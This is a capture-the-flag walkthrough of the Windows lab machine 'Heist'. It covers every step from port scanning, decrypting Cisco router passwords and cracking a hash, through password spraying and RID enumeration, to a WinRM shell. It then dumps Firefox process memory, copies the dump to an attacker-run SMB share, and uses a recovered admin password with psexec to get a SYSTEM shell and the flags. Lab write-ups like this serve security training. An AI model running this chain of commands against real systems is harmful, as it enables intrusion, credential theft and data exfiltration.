

# MACHINE - HEIST

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## OPEN PORTS

```
$ nmap -sVC -T4 -Pn {IP}

80/tcp open  http           Microsoft IIS httpd 10.0
| http-title: Support Login Page
|_ Requested resource was login.php
| http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/10.0
135/tcp open  msrpc           Microsoft Windows RPC
445/tcp open  microsoft-ds?
5985/tcp open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49669/tcp open  msrpc          Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-04-30T16:17:42
|_ start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_ Message signing enabled but not required
```

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## INVESTIGATING THE SITE

- Source code ... Nothing special
- One cookie is set

PHPSESSID=du6i87ic2q6gl155s92h5qdl1

- Wappalyzer found the following interesting result

### 1. IIS Web Server Version 10.0

*Microsoft Internet Information Services* (IIS, 2S) is an extensible web server created by Microsoft for use with the Windows NT family. IIS supports HTTP, HTTP/2, HTTP/3, HTTPS, FTP, FTPS, SMTP and NNTP. It has been an integral part of the Windows NT family since Windows NT 4.0, though it may be absent from some editions (e.g. Windows XP Home edition), and is not active by default.

- At this point let's enumerate all directories using gobuster

```
$ gobuster dir -u http://{IP}/ -w /usr/share/wordlists/dirb/common.txt
```

```
...
/attachments      (Status: 301) [Size: 158]
/css               (Status: 301) [Size: 150]
/Images            (Status: 301) [Size: 153]
/images            (Status: 301) [Size: 153]
/index.php         (Status: 302) [Size: 0]
/js                (Status: 301) [Size: 149]
...
```

- Trying to access all the pages, except for `index.php`, lead to Access denied
- Before trying to bruteforce the login we see a button `Login as guest`
- If we click on that button we go to a new page `issues.php`
- There are a bunch of messages with an `Attachment`
- If we open the attachment we can see a lot of useful informations
- Then a number of configurations

```
...
security passwords min-length 12
enable secret 5 $1$pdQG$08nrSzsGXeaduXrjlvKc91
...
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
...
ip ssh authentication-retries 5
ip ssh version 2
...
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh
```

- As we can see there are some usernames and passwords I guess
- An SSH authentication system configuration
- At this point we can search in Internet for `password 7` or `enable secret 5`
- It comes that it is a configuration for a Cisco Router.
- In particular

The `enable secret` command provides better security by storing the enable secret password using a nonreversible cryptographic function. The added layer of security encryption provides is useful in environments where the password crosses the network or is stored on a TFTP server.

- This does not means that it cannot be decrypted, however brute-force

attack is required.

- Said that, we have:

```
rout3r -> password: 0242114B0E143F015F5D1E161713 -> $superP@ssword
admin -> password: 02375012182C1A1D751618034F36415408 -> Q4)sJu\Y8qz*A3?d
```

- Those passwords have been found using a **Decrypter**
- Now that we have these two passwords we can try the login
- However, we cannot login since the `username` field wants an email address
- We could try to crack `$1$pdQG$o8nrSzsGXeaduXrjlvKc91` using `john`

```
$ echo "$1$pdQG$o8nrSzsGXeaduXrjlvKc91" > hash
$ john -w=/usr/share/wordlists/rockyou.txt --format=md5crypt hash
```

```
...
stealthiagent  (?)
...
```

- At this point we have some users and some passwords
- Let's go on

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## SMB and WinRM INVESTIGATION

- We now that port 445 (SMB) is open as well as port 135 for RPC.
- First thing we can use is the `smbclient` to see if we can enumerate sharings
- First with no password

```
$ smbclient -N -L \\\\$ {IP}
... NT_STATUS_ACCESS_DENIED
```

- However, we receive an error.
- We can use `crackmapexec` to see if there is user-pass combination that works
- Let's save all the users in a file `users.txt` and also all the passwords in `pass.txt`
- Then run the following command (this command will also list all the shares)

```
$ crackmapexec smb -u users.txt -p pass.txt --port --shares 445 $ {IP}
```

```
...
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_F
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\hazard:stealthiagent
SMB 10.10.10.149 445 SUPPORTDESK [+] Enumerated shares
SMB 10.10.10.149 445 SUPPORTDESK Share Permissions Remark
SMB 10.10.10.149 445 SUPPORTDESK -----
SMB 10.10.10.149 445 SUPPORTDESK ADMIN$ Remote Admin
SMB 10.10.10.149 445 SUPPORTDESK C$ Default share
SMB 10.10.10.149 445 SUPPORTDESK IPC$ READ Remote IP
```

- As we can see, we have found a match `hazard:stealthlagent`
- Let's try to access those shares

```
$ smbclient \\\\10.10.10.149\\ADMIN$ -p 445 -U SupportDesk/hazard%stealthlagent
tree connect failed: NT_STATUS_ACCESS_DENIED
```

```
$ smbclient \\\\10.10.10.149\\C$ -p 445 -U SupportDesk/hazard%stealthlagent
tree connect failed: NT_STATUS_ACCESS_DENIED
```

```
$ smbclient \\\\10.10.10.149\\IPC$ -p 445 -U SupportDesk/hazard%stealthlagent
smb: \> dir
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
```

- Perfect ... we cannot access important shares ... Let's do something more
- Between all the open ports there is one related to Windows HTTP, the port 5985
- As you might assume, this is not a classic HTTP port for web pages
- Instead it is associated with *WinRM* service

WinRM (Windows Remote Management) is Microsoft's implementation of WS-Management in Windows which allows systems to access or exchange management information across a common network. Utilizing scripting objects or the built-in command-line tool, WinRM can be used with any remote computers that may have baseboard management controllers (BMCs) to acquire data. On Windows-based computers including WinRM, certain data supplied by Windows Management Instrumentation (WMI) can also be obtained. By default WinRM HTTPS used 5986 port, and HTTP uses 5985 port. By default, port 5985 is in listening mode, but port 5986 has to be enabled.

WS-Management (Web Services-Management) is a DMTF open standard defining a SOAP-based protocol for the management of servers, devices, applications and various Web services. WS-Management provides a common way for systems to access and exchange management information across the IT infrastructure.

Distributed Management Task Force (DMTF) is a 501(c)(6) nonprofit industry standards organization that creates open manageability standards spanning diverse emerging and traditional IT infrastructures including cloud, virtualization, network, servers and storage. Member companies and alliance partners collaborate on standards to improve interoperable management of information technologies.

- Let's check if the previous user can access the WinRM service

```
$ crackmapexec winrm ${IP} -u hazard -p stealthlagent
```

```
SMB 10.10.10.149 5985 SUPPORTDESK [*] Windows 10.0 Build 17763
HTTP 10.10.10.149 5985 SUPPORTDESK [*] http://10.10.10.149:5985/wsman
WINRM 10.10.10.149 5985 SUPPORTDESK [-] SupportDesk\hazard:stealthlagent
```

- However, we have a username and a password, maybe we can enumerate all RID

RID stands for **Relative Identifier**, which is a part of SID (Security Identifier) used to uniquely identify a user or service on a Windows host. Each account or group, or each process that runs under the account's security context, has a unique SID issued by an authority, such as a Windows domain controller. The SID is stored in a security database. The system generates the SID that identifies a specific account or group when the account or group is created. When a SID is used as a unique identifier for a user or group, it can never be used to identify a different user or group.

- This is an example of SID

S-1-5-21-1004336348-1177238915-682003330-512

1. S identify that the value is SID
2. 1 Is the revision level
3. 5 is the value of the identification authority
4. 21-1004336348-1177238915-682003330 the domain identifier
5. 512 the RID

- The following command will enumerate all RIDs

```
$ crackmapexec smb ${IP} -u hazard -p stealthlagent --rid-brute
```

```
...
SMB 10.10.10.149 445 SUPPORTDESK 500: SUPPORTDESK\Administrator (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 501: SUPPORTDESK\Guest (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 503: SUPPORTDESK\DefaultAccount (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 513: SUPPORTDESK\None (SidTypeGroup)
SMB 10.10.10.149 445 SUPPORTDESK 1008: SUPPORTDESK\Hazard (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1009: SUPPORTDESK\support (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1012: SUPPORTDESK\Chase (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1013: SUPPORTDESK\Jason (SidTypeUser)
```

- WDAG = Windows Defender Application Guard link here
- As we can see there are a lot of new users
- Let's add them into the `users.txt` file and try to get the correct combination
- First remote hazard from the file

```
$ crackmapexec smb ${IP} -u users.txt -p pass.txt
```

```
...
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\support:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Chase:$SuperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d
```

- Hence we have a new combination Chase:Q4)sJu\Y8qz\*A3?d
- At this point, let's try to obtain a shell with Chase using evil-winrm

```
$ evil-winrm -i ${IP} -u chase -p 'Q4)sJu\Y8qz*A3?d'
```

```
...
*Evil-WinRM* PS C:\Users\Chase\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Chase\Desktop> ls
```

```
Directory: C:\Users\Chase\Desktop
```

Mode	LastWriteTime		Length	Name
-a----	4/22/2019	9:08 AM	121	todo.txt
-ar---	4/30/2024	9:13 PM	34	user.txt

```
*Evil-WinRM* PS C:\Users\Chase\Desktop> more user.txt
6bab43614d5901c32e6bd9e16e40c1fd
```

## PRIVILEGE ESCALATION

```
*Evil-WinRM* PS C:\Users\Chase\Desktop> more todo.txt
```

```
Stuff to-do:
```

1. Keep checking the issues list.
2. Fix the router config.

```
Done:
```

1. Restricted access for guest user.

- At this point we can navigate trying to find something interesting
- At C:\ we can find the inetpub folder containing the site we have visited at the start
- However, it seems to be a dead-end
- Navigating to Program Files we see Mozilla Firefox which is not so common
- Let's see if there is a firefox process

```
*Evil-WinRM* PS C:\Users\Chase\Desktop> cd \
```

```
*Evil-WinRM* PS C:\> cd "Program Files"
```

```
*Evil-WinRM* PS C:\Program Files> dir
```

```
...
Mode                LastWriteTime         Length Name
----                -
d-----          4/21/2019   9:39 AM             Common Files
d-----          4/21/2019  11:00 AM        internet explorer
d-----          2/18/2021   4:21 PM        Mozilla Firefox
...
```

```
*Evil-WinRM* PS C:\Program Files> Get-Process
```

```
...
1063      70    145868    223216         5.95    6152    1 firefox
347       19     10092     32524         0.11    6264    1 firefox
401       33     32116     90592         0.91    6476    1 firefox
378       28     22408     59320         0.41    6712    1 firefox
355       25     16500     39256         0.13    6976    1 firefox
...
```

- Now, we would like to dump a particular process, in this case **firefox**
- We can do this using the **procdump64.exe** from the **sysinternals** tool-suite
- First on our local machine we need to download the ZIP
- Just search for **sysinternals zip** on Chrome (or any Web browser)

```
$ wget https://download.sysinternals.com/files/SysinternalsSuite.zip
```

```
$ mkdir sysinternals
```

```
$ cd sysinternals
```

```
sysinternals$ unzip ../SysinternalsSuite.zip
```

- Now on the shell to the remote Windows System run

```
*Evil-WinRM* PS C:\Program Files> cd ../Users/Chase/Documents
```

```
*Evil-WinRM* PS C:\Users\Chase\Documents> upload /path/to/sysinternals/procdump64.exe
```

```
*Evil-WinRM* PS C:\Users\Chase\Documents> .\procdump64.exe -accepteula -ma ${PID} ff.dmp
```

- Now we should transfer the **ff.dmp** back to our host
- To do this, we can setup a SMB Server on our local machine and access it from the remote one

```
$ impacket-smbserver -smb2support -username guest -password guest share $(pwd)
```

- Now, on the remote machine we run the following commands

```
*Evil-WinRM* PS C:\Users\Chase\Documents> net use x: \\{MyIP}\share /user:guest guest
The command completed successfully.
```

```
*Evil-WinRM* PS C:\Users\Chase\Documents> cmd /c "copy ff.dmp X:\"
```

- At this point, on our local machine we should find the **ff.dmp** file

- As we can see this is a binary file.
- Among all the shits present on this file we can search for a possible login attempt
- However, first we need to see what parameters are used the POST request
- Let's setup a proxy on localhost:8080
- Open Burp and enable Incercept Mode
- This is the entire request

```
POST /login.php HTTP/1.1
Host: 10.10.10.149
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://10.10.10.149
Connection: close
Referer: http://10.10.10.149/login.php
Cookie: PHPSESSID=du6i87ic2q6gl155s92h5qdl1
Upgrade-Insecure-Requests: 1
```

```
login_username=admin%40admin.htb&login_password=password&login=
```

- As we can see there are two parameters login\_username and login\_password
- We could search for these strings in the dump

```
$ strings ff.dmp | grep login_username
```

```
...
localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ
```

- Okay, now we have admin:4dD!5}x/re8]FBuZ
- At this point, we could access the ADMIN share using these credentials

```
$ impacket-psexec 'administrator:4dD!5}x/re8]FBuZ'@10.10.10.149
```

```
[*] Requesting shares on 10.10.10.149.....
[*] Found writable share ADMIN$
[*] Uploading file FBoOfUNA.exe
[*] Opening SVCManager on 10.10.10.149.....
[*] Creating service MqFa on 10.10.10.149.....
[*] Starting service MqFa.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.437]
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```



```
C:\Windows\system32> cd ../../Users/Administrator/Desktop
C:\Users\Administrator\Desktop> dir
```

```
...
02/18/2021  04:00 PM    <DIR>          .
02/18/2021  04:00 PM    <DIR>          ..
04/30/2024  09:13 PM                34 root.txt
               1 File(s)                34 bytes
               2 Dir(s)  3,211,763,712 bytes free
```

```
C:\Users\Administrator\Desktop> more root.txt
c77cfc252ee172361655bf4470304d24
```

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## FLAGS

USER: 6bab43614d5901c32e6bd9e16e40c1fd

ROOT: c77cfc252ee172361655bf4470304d24